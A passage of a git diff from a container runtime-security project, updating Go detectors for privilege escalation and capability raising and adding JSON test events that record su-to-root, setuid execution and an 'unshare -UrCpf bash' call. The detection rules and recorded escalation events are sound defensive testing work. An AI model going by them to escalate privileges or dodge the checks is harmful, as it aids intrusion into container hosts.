{}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "e9db8d37b2ebde52f63ed8055253e38", + "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDQ1NjExMzYyNjk4NzoyNzM4MTc4", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533060, + "is_host": false + }, + "ipc": { + "inum": 4026533061, + "is_host": false + }, + "mnt": { + "inum": 4026533063, + "is_host": false + }, + "pid": { + "inum": 4026533064, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533064, + "is_host": false + }, + "net": { + "inum": 4026532932, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533065, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2738178, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "ancestors": [] + }, + "node_name": "ptcs-debian-11", + "time": "2025-04-10T14:17:32.090307890Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_OPENSSL_USE", + "severity": "MEDIUM", + "reason_contains": "arbitrary code", + "tactics": [ + "TA0002" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PRIV_ESC/main.go b/event-processor/detector/wasm/CS_RT_PRIV_ESC/main.go index 0400a852..76e56b5d 100644 --- a/event-processor/detector/wasm/CS_RT_PRIV_ESC/main.go +++ b/event-processor/detector/wasm/CS_RT_PRIV_ESC/main.go @@ -4,7 +4,9 @@ package main import ( "context" + "fmt" + "github.com/gobwas/glob" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" ) @@ -12,11 +14,17 @@ import ( const ( ID = "CS_RT_PRIV_ESC" Name = "Privilege escalation" - Description = "The detector detects if a non-root user makes the commit_creds calls with the UID/EUID == 0 or GID/EGID == 0, which may indicate an attacker's attempt to escalate their privileges." - Version = 1 + Description = "The detector detects if a root user started a process or if a process called the commit_creds function with the UID/EUID == 0 or GID/EGID == 0 parameter to gain root privileges, which may indicate an attacker's attempt to escalate their privileges." + Version = 2 Author = "Runtime Radar Team" + License = "Apache License 2.0" +) - License = "Apache License 2.0" +const ( + ExecNoArgs = "Detected that the `%s` process escalated privileges for the root user" + ExecDefault = "Detected privilege escalation for the root user by the `%s` process, which was started using the `%s` arguments" + KprobeNoArgs = "Detected that the `%s` process escalated privileges to the root level" + KprobeDefault = "Detected privilege escalation to the root level by the `%s` process, which was started using the `%s` arguments" ) const ( @@ -32,6 +40,7 @@ var ( // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ + "PROCESS_EXEC": {}, "PROCESS_KPROBE": {"commit_creds"}, // Examples: @@ -44,8 +53,56 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1548.001", + "T1543", + "T1068", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1548.001", + }, + }, + } + + mitreTacticsSuidSgid = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1548.001", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1548.001", + }, + }, + } + + mitreTacticsPrivEsc = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1543", + "T1068", + }, + }, + } +) + +var ( + runcInitBinPattern = glob.MustCompile("/dev/fd/*") +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -53,12 +110,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -87,11 +145,45 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe switch ev := event.(type) { case *tetragon.GetEventsResponse_ProcessExec: - // Nothing here + exec := ev.ProcessExec + binary := exec.GetProcess().GetBinary() + args := exec.GetProcess().GetArguments() + parentBinary := exec.GetParent().GetBinary() + parentArgs := exec.GetParent().GetArguments() + + // exclude runc init container + if runcInitBinPattern.Match(binary) && (args == "init") && (parentBinary == "/proc/self/exe") && (parentArgs == "init") { + return resp, nil + } + + // trigger on binary with setuid bit + if suid := exec.GetProcess().GetBinaryProperties().GetSetuid(); suid != nil { + if suid.Value == rootUID { + resp.TacticsCovered = mitreTacticsSuidSgid + resp.Reason = fmt.Sprintf(ExecNoArgs, binary) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } + } + + // trigger on binary with setgid bit + if sgid := exec.GetProcess().GetBinaryProperties().GetSetgid(); sgid != nil { + if sgid.Value == rootGID { + resp.TacticsCovered = mitreTacticsSuidSgid + resp.Reason = fmt.Sprintf(ExecDefault, binary) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } + } + case *tetragon.GetEventsResponse_ProcessExit: // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() functionName := kprobe.GetFunctionName() args := kprobe.GetArgs() @@ -99,37 +191,51 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil // <-- return } + committedCreds := args[0].GetProcessCredentialsArg() + + if committedCreds == nil { + return resp, nil // <-- return + } + // We are taking into account only processes which are running from regular user if kprobe.GetProcess().GetUid().GetValue() != rootUID { - for _, arg := range args { - switch a := arg.GetArg().(type) { - case *tetragon.KprobeArgument_ProcessCredentialsArg: - // Checking EUID will also cover cases with setuid binary - if a.ProcessCredentialsArg.GetUid().GetValue() == rootUID || - a.ProcessCredentialsArg.GetEuid().GetValue() == rootUID { - resp.Severity = api.DetectResp_CRITICAL // <-- threat detected - - return resp, nil // <-- return - } + // Checking EUID will also cover cases with setuid binary + if (committedCreds.GetUid().GetValue() == rootUID) || (committedCreds.GetEuid().GetValue() == rootUID) { + resp.TacticsCovered = mitreTacticsPrivEsc + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, binary, binaryArgs) } + resp.Severity = api.DetectResp_CRITICAL // <-- threat detected + + return resp, nil // <-- return } } - if kprobe.GetProcess().GetProcessCredentials().GetGid().GetValue() != rootGID { - for _, arg := range args { - switch a := arg.GetArg().(type) { - case *tetragon.KprobeArgument_ProcessCredentialsArg: - // Checking EGID will also cover cases with setgid binary - if a.ProcessCredentialsArg.GetGid().GetValue() == rootGID || - a.ProcessCredentialsArg.GetEgid().GetValue() == rootGID { - resp.Severity = api.DetectResp_CRITICAL // <-- threat detected - - return resp, nil // <-- return - } + processCreds := kprobe.GetProcess().GetProcessCredentials() + + if processCreds == nil { + return resp, nil // <-- return + } + + if processCreds.GetGid().GetValue() != rootGID { + // Checking EGID will also cover cases with setgid binary + if (committedCreds.GetGid().GetValue() == rootGID) || (committedCreds.GetEgid().GetValue() == rootGID) { + resp.TacticsCovered = mitreTacticsPrivEsc + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, binary, binaryArgs) } + resp.Severity = api.DetectResp_CRITICAL // <-- threat detected + + return resp, nil // <-- return } } + return resp, nil + case *tetragon.GetEventsResponse_ProcessTracepoint: // Nothing here } @@ -137,221 +243,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ3MDIxMzk5NjI2NToyMjA1Mzk2", - "pid": 2205396, - "uid": 5, - "cwd": "/usr/games", - "binary": "/usr/bin/su", - "arguments": "-", - "flags": "execve clone", - "start_time": "2023-10-26T15:23:43.191924497Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://f1a282e1a9daf70be7d466c6c064884f5f6cad37add2fa877a94e384b6e13e91", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2023-10-26T15:04:37Z", - "pid": 62 - }, - "workload": "test-pod-debian" - }, - "docker": "f1a282e1a9daf70be7d466c6c064884", - "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ1NzY4MDkxNTE0MToyMjA1Mjc0", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ] - }, - "ns": { - "uts": { - "inum": 4026533028 - }, - "ipc": { - "inum": 4026533029 - }, - "mnt": { - "inum": 4026533034 - }, - "pid": { - "inum": 4026533039 - }, - "pid_for_children": { - "inum": 4026533039 - }, - "net": { - "inum": 4026532910 - }, - "cgroup": { - "inum": 4026532390, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2205396 - }, - "parent": { - "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ1NzY4MDkxNTE0MToyMjA1Mjc0", - "pid": 2205274, - "uid": 5, - "cwd": "/usr/games", - "binary": "/bin/bash", - "flags": "execve clone", - "start_time": "2023-10-26T15:23:30.658843773Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://f1a282e1a9daf70be7d466c6c064884f5f6cad37add2fa877a94e384b6e13e91", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2023-10-26T15:04:37Z", - "pid": 60 - }, - "workload": "test-pod-debian" - }, - "docker": "f1a282e1a9daf70be7d466c6c064884", - "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ1NzY3ODc3NDM3ODoyMjA1Mjcz", - "cap": {}, - "ns": { - "uts": { - "inum": 4026533028 - }, - "ipc": { - "inum": 4026533029 - }, - "mnt": { - "inum": 4026533034 - }, - "pid": { - "inum": 4026533039 - }, - "pid_for_children": { - "inum": 4026533039 - }, - "net": { - "inum": 4026532910 - }, - "cgroup": { - "inum": 4026532390, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2205274 - }, - "function_name": "commit_creds", - "args": [ - { - "process_credentials_arg": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 60, - "suid": 0, - "sgid": 60, - "fsuid": 0, - "fsgid": 60, - "caps": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ] - }, - "user_ns": { - "level": 0, - "uid": 0, - "gid": 0, - "ns": { - "inum": 4026531837, - "is_host": true - } - } - } - } - ], - "action": "KPROBE_ACTION_POST" - }, - "node_name": "kind-control-plane", - "time": "2023-10-26T15:23:46.828531551Z" +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/negative_no_root_creds.json b/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/negative_no_root_creds.json new file mode 100644 index 00000000..ac1ed4b4 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/negative_no_root_creds.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "uid": 5, + "binary": "/usr/bin/su", + "arguments": "user2" + }, + "function_name": "commit_creds", + "args": [ + { + "process_credentials_arg": { + "uid": 5, + "gid": 5, + "euid": 5, + "egid": 5 + } + } + ] + }, + "node_name": "test-node", + "time": "2023-10-26T15:23:46.828531551Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/positive_setuid_exec.json b/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/positive_setuid_exec.json new file mode 100644 index 00000000..a6425ce3 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/positive_setuid_exec.json @@ -0,0 +1,41 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "uid": 1000, + "binary": "/usr/bin/passwd", + "arguments": "", + "binary_properties": { + "setuid": 0 + } + }, + "parent": { + "pid": 12000, + "uid": 1000, + "binary": "/bin/bash", + "arguments": "" + } + }, + "node_name": "test-node", + "time": "2024-08-15T11:14:57.231060954Z" + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_PRIV_ESC", + "severity": "MEDIUM", + "reason_contains": "root user", + "tactics": [ + "TA0004", + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/positive_su_root.json b/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/positive_su_root.json new file mode 100644 index 00000000..c470542c --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PRIV_ESC/testdata/positive_su_root.json @@ -0,0 +1,233 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ3MDIxMzk5NjI2NToyMjA1Mzk2", + "pid": 2205396, + "uid": 5, + "cwd": "/usr/games", + "binary": "/usr/bin/su", + "arguments": "-", + "flags": "execve clone", + "start_time": "2023-10-26T15:23:43.191924497Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://f1a282e1a9daf70be7d466c6c064884f5f6cad37add2fa877a94e384b6e13e91", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2023-10-26T15:04:37Z", + "pid": 62 + }, + "workload": "test-pod-debian" + }, + "docker": "f1a282e1a9daf70be7d466c6c064884", + "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ1NzY4MDkxNTE0MToyMjA1Mjc0", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ] + }, + "ns": { + "uts": { + "inum": 4026533028 + }, + "ipc": { + "inum": 4026533029 + }, + "mnt": { + "inum": 4026533034 + }, + "pid": { + "inum": 4026533039 + }, + "pid_for_children": { + "inum": 4026533039 + }, + "net": { + "inum": 4026532910 + }, + "cgroup": { + "inum": 4026532390, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2205396 + }, + "parent": { + "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ1NzY4MDkxNTE0MToyMjA1Mjc0", + "pid": 2205274, + "uid": 5, + "cwd": "/usr/games", + "binary": "/bin/bash", + "flags": "execve clone", + "start_time": "2023-10-26T15:23:30.658843773Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://f1a282e1a9daf70be7d466c6c064884f5f6cad37add2fa877a94e384b6e13e91", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2023-10-26T15:04:37Z", + "pid": 60 + }, + "workload": "test-pod-debian" + }, + "docker": "f1a282e1a9daf70be7d466c6c064884", + "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjg2NzQ1NzY3ODc3NDM3ODoyMjA1Mjcz", + "cap": {}, + "ns": { + "uts": { + "inum": 4026533028 + }, + "ipc": { + "inum": 4026533029 + }, + "mnt": { + "inum": 4026533034 + }, + "pid": { + "inum": 4026533039 + }, + "pid_for_children": { + "inum": 4026533039 + }, + "net": { + "inum": 4026532910 + }, + "cgroup": { + "inum": 4026532390, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2205274 + }, + "function_name": "commit_creds", + "args": [ + { + "process_credentials_arg": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 60, + "suid": 0, + "sgid": 60, + "fsuid": 0, + "fsgid": 60, + "caps": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ] + }, + "user_ns": { + "level": 0, + "uid": 0, + "gid": 0, + "ns": { + "inum": 4026531837, + "is_host": true + } + } + } + } + ], + "action": "KPROBE_ACTION_POST" + }, + "node_name": "kind-control-plane", + "time": "2023-10-26T15:23:46.828531551Z" + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_PRIV_ESC", + "severity": "CRITICAL", + "reason_contains": "privilege escalation", + "tactics": [ + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "CRITICAL", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/main.go b/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/main.go index e2821973..3d5ea56e 100644 --- a/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/main.go +++ b/event-processor/detector/wasm/CS_RT_PROCESS_CAP_RAISE/main.go @@ -20,6 +20,13 @@ const ( License = "Apache License 2.0" ) +const ( + KprobeEffectiveNoArgs = "Detected that the `%s` process was started with the following excessive effective capabilities: `%s`" + KprobeEffectiveDefault = "Detected that the `%s` process was started using the `%s` arguments and with the following excessive effective capabilities: `%s`" + KprobePermittedNoArgs = "Detected that the `%s` process was started with the following excessive permitted capabilities: `%s`" + KprobePermittedDefault = "Detected that the `%s` process was started using the `%s` arguments and with the following excessive permitted capabilities: `%s`" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -38,6 +45,17 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1543", + }, + }, + } +) + var ( excessiveCapabilities = []tetragon.CapabilitiesType{ tetragon.CapabilitiesType_CAP_DAC_READ_SEARCH, @@ -53,8 +71,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -62,12 +80,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -101,7 +120,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() proc := kprobe.GetProcess() function := kprobe.GetFunctionName() args := kprobe.GetArgs() @@ -119,20 +139,56 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe procEffectiveCaps := proc.GetCap().GetEffective() procPermittedCaps := proc.GetCap().GetPermitted() - for _, cap := range committedCreds.GetCaps().GetEffective() { - if slices.Contains(excessiveCapabilities, cap) && !slices.Contains(procEffectiveCaps, cap) { - resp.Severity = api.DetectResp_HIGH - return resp, nil + effectiveCapsMatch := false + effectiveCapsList := "" + + for _, capability := range committedCreds.GetCaps().GetEffective() { + if slices.Contains(excessiveCapabilities, capability) && !slices.Contains(procEffectiveCaps, capability) && !effectiveCapsMatch { + effectiveCapsList += tetragon.CapabilitiesType_name[int32(capability)] + effectiveCapsMatch = true + } else if slices.Contains(excessiveCapabilities, capability) && !slices.Contains(procEffectiveCaps, capability) && effectiveCapsMatch { + effectiveCapsList += ", " + tetragon.CapabilitiesType_name[int32(capability)] + } + } + + if effectiveCapsMatch { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeEffectiveNoArgs, binary, effectiveCapsList) + } else { + resp.Reason = fmt.Sprintf(KprobeEffectiveDefault, binary, binaryArgs, effectiveCapsList) } + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil } - for _, cap := range committedCreds.GetCaps().GetPermitted() { - if slices.Contains(excessiveCapabilities, cap) && !slices.Contains(procPermittedCaps, cap) { - resp.Severity = api.DetectResp_HIGH - return resp, nil + permittedCapsMatch := false + permittedCapsList := "" + + for _, capability := range committedCreds.GetCaps().GetPermitted() { + if slices.Contains(excessiveCapabilities, capability) && !slices.Contains(procPermittedCaps, capability) && !permittedCapsMatch { + permittedCapsList += tetragon.CapabilitiesType_name[int32(capability)] + permittedCapsMatch = true + } else if slices.Contains(excessiveCapabilities, capability) && !slices.Contains(procPermittedCaps, capability) && permittedCapsMatch { + permittedCapsList += ", " + tetragon.CapabilitiesType_name[int32(capability)] } } + if permittedCapsMatch { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobePermittedNoArgs, binary, permittedCapsList) + } else { + resp.Reason = fmt.Sprintf(KprobePermittedDefault, binary, binaryArgs, permittedCapsList) + } + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil + } + + return resp, nil + case *tetragon.GetEventsResponse_ProcessTracepoint: // Nothing here } @@ -140,369 +196,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2NTUxMjU5NjQ4NDU6MjkwODcxMg==", - "pid": 2908712, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/unshare", - "arguments": "-UrCpf bash", - "flags": "execve", - "start_time": "2024-04-02T15:58:01.919414806Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-priv", - "labels": [], - "container": { - "id": "cri-o://53e518ba04e25dd3c786818f8b7681a8e37254baa57930b06a2bd4cea74e93d0", - "name": "test-pod-debian-priv", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-03-21T13:35:21Z", - "pid": 446, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-priv", - "workload_kind": "Pod" - }, - "docker": "53e518ba04e25dd3c786818f8b7681a", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2NTUxMjUwOTM0OTQ6MjkwODcxMQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_SYS_CHROOT", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533756, - "is_host": false - }, - "ipc": { - "inum": 4026533757, - "is_host": false - }, - "mnt": { - "inum": 4026535184, - "is_host": false - }, - "pid": { - "inum": 4026535185, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535185, - "is_host": false - }, - "net": { - "inum": 4026533758, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535186, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2908712, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQyNTA2NTUxMjUwOTM0OTQ6MjkwODcxMQ==", - "pid": 2908711, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/unshare", - "arguments": "-UrCpf bash", - "flags": "execve rootcwd clone", - "start_time": "2024-04-02T15:58:01.918543722Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-priv", - "labels": [], - "container": { - "id": "cri-o://53e518ba04e25dd3c786818f8b7681a8e37254baa57930b06a2bd4cea74e93d0", - "name": "test-pod-debian-priv", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-03-21T13:35:21Z", - "pid": 446, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-priv", - "workload_kind": "Pod" - }, - "docker": 